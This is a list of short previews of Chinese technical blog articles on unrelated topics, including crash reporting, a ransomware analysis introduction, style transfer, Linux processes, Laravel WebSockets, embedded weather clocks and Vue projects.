背景 我们的Windows c程序如果在客户或者没有代码调试的环境下崩溃了。我们只能从机器异常报错里得知寥寥无几的信息&#xff0c;如果程序崩溃时&#xff0c;能自动触发当前堆栈信息的收集&#xff0c;那么对于开发人员复现BUG就尤为重要 CrashRpt CrashRpt主要功能 1.崩溃报…

首例以“冠状病毒”为主题的勒索病毒,篡改系统MBR

前言概述 2020年勒索病毒攻击仍然是网络安全的最大威胁&#xff0c;在短短三个月的时间里&#xff0c;已经出现了多款新型的勒索病毒&#xff0c;关于2020年勒索病毒攻击新趋势&#xff0c;可以阅读笔者写的上一篇文章&#xff0c;里面有详细的分析&#xff0c;从目前观察到的…

【风格迁移】AdaAttN:使用注意力机制和归一化来保持内容结构的同时转移风格特征

AdaAttN&#xff1a;使用注意力机制和归一化来保持内容结构的同时转移风格特征 提出背景AdaAttN 框架自适应注意力归一化&#xff08;AdaAttN&#xff09;损失函数视频风格迁移的扩展 自适应注意力归一化&#xff08;AdaAttN&#xff09;的应用场景 全流程优化基于特征相似度的…

DbSchema导出HTML/PDF版表结构

一、连接数据库 登录成功默认显示当前用户的所有资源&#xff08;表、视图、序列、方法、触发器等&#xff09;&#xff0c;如果不操作将导出此用户的全部信息。 至此连接数据库完成 二、表结构导出 本次不想给用户全部导出&#xff0c;只给导出几张&#xff0c;选择需要…

Linux 学习笔记(10)

十、 进程管理 进程就是运行中的程序&#xff0c;一个运行着的程序&#xff0c;可能有多个进程。 比如 LinuxSir.Org 所用的 WWW 服务器是 apache 服务器&#xff0c;当管理员启动服务后&#xff0c;可能会有好多人来访问&#xff0c;也就是说许多用户来同时请 求 htt…

C-V2X系列:C-V2X芯片及模组整理总结

C-V2X、车路协同、车联网、智能网联车学习 C-V2X芯片及模组整理总结

http 协议深入介绍

一&#xff0c;http 相关概念 &#xff08;一&#xff09;关键名词 1&#xff0c;互联网 是网络的网络&#xff0c;是所有类型网络的母集 2&#xff0c;因特网 世界上最大的互联网网络。即因特网概念从属于互联网概念。习惯上&#xff0c;大家把连接在因特网上的计算机都成…

【旧文搬运】为你的 Laravel 应用添加一个基于 Swoole 的 WebSocket 服务

做了一个基于 Swoole 的 WebSocket 扩展包&#xff0c;可以用来做实时状态推送&#xff0c;或者自定义消息处理实现 im&#xff0c;有需要的可以看看: [giorgio-socket] 使用方法 安装 安装扩展包 composer require wu/giorgio-socket发布配置文件 php artisan vendor:pu…

机器学习:数据处理基操

在处理完数据之后&#xff0c;选择好模型&#xff0c;就可以用训练集训练模型&#xff0c;用测试集输入模型 然后输出需要预测的结果啦&#xff5e; 一、模块导入 import numpy as np import pandas as pd #读入数据 二、pandas数据 一、dataframe基础 一、dataframe的创建…

图像处理ASIC设计方法 笔记6 数据拼接和帧格式校正

第四章大模板卷积ASIC设计方案 P80 实时图SPRM 数据位宽64bit,4个SPRAM,同时得到4行数据 绘制卷积芯片数据路径图,卷积芯片内部模块图 根据这个图,本书后续对各个模块都进行介绍。 P81 第一个模块 图像输入前端FIFO 学习图像处理中好的设计思路:帧格式校验和数据拼接 …

STM32+ESP8266水墨屏天气时钟:ESP8266连接心知天气获取数据

项目背景 利用STM32F103C8T6和ESP8266模块进行通信&#xff0c;获取心知天气的数据。 硬件设计为串口1(PA9和PA10)连接ESP8266. 串口2打印 一.ESP8266连接WIFI ESP8266模块可以通过AT指令控制搭配使用源代码API函数开发&#xff0c;总体开发速度快&#xff0c;难度较低。 说…

板子合集1.0

版权声明&#xff1a;本文为博主原创文章&#xff0c;遵循 CC 4.0 BY-SA 版权协议&#xff0c;转载请附上原文出处链接和本声明。 原文链接&#xff1a;https://blog.csdn.net/JK01WYX/ 文章目录 1.快速幂板子2.gcd得最大公约数3.堆优化的dijkstra板子4.线段树1板子 区间加线段…

Vue--》打造简易直播应用平台项目实战

今天开始使用 vue3 + ts 搭建一个简易直播应用平台项目,因为文章会将项目的每一个地方代码的书写都会讲解到,所以本项目会分成好几篇文章进行讲解,我会在最后一篇文章中会将项目代码开源到我的github上,大家可以自行去进行下载运行,希望本文章对有帮助的朋友们能多多关注本…

奇怪的需求之与图片做交互

1.起因 客户想要展示自己的地图,该地图上有各种工作数据,和工作点位,已有的地图不能满足需求.于是提出将这张图片当成大背景 2.经过 鉴于文件格式和尺寸的原因,协商后客户提出将图片做成缩放效果,同时具有点击效果,原先直接进入的主页,现在为点击图片中的某条线路进入主页面…